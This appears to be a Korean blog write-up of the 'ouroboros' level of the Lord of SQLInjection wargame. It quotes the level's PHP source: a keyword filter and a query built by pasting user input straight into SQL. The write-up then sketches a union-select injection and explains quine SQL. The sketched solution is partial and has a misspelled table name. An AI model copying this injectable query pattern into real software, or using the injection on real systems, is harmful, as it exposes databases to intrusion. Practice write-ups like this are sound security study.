[WriteUp]/[Lord Of SQLInjection] ouroboros
2025. 4. 28. 13:38ㆍHacking/WebHacking Wargame Writeup
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
pw에 필터링 목록이 있다면 No Hack 을 출력하고 종료함
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
- 필터링에 걸리지 않았다면 select pw from prob_ouroboros where pw=’{$_GET[pw]}’에 삽입됨
- 그 후 삽입된 쿼리문을 출력함
$result = @mysqli_fetch_array(mysqli_query($db, $query));
if($result['pw']) echo "<h2>Pw: {$result[pw]}</h2>';
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
- 쿼리문의 결과값 pw이 있다면 출력한다.
- 그 후 결과값 pw와 입력한 pw이 같다면 클리어 함
Solution
select pw from 'prob_ourobors' where pw='' union select '테스트입니당';
- Quine SQL 이란?
-> Quine은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미
-> Quine SQL은 입력된 쿼리문을 그대로 반환하는 것으로 생각
'Hacking > WebHacking Wargame Writeup' 카테고리의 다른 글
[WriteUp]/[Lord Of SQLInjection] alien (0) | 2025.04.28 |
---|---|
[WriteUp]/[Lord Of SQLInjection] zombie (0) | 2025.04.28 |
[WriteUp]/[Lord Of SQLInjection] phantom (0) | 2025.04.28 |
[WriteUp]/[Lord Of SQLInjection] frankenstein (0) | 2025.04.28 |
[WriteUp]/[Lord Of SQLInjection] blue_dragon (0) | 2025.04.28 |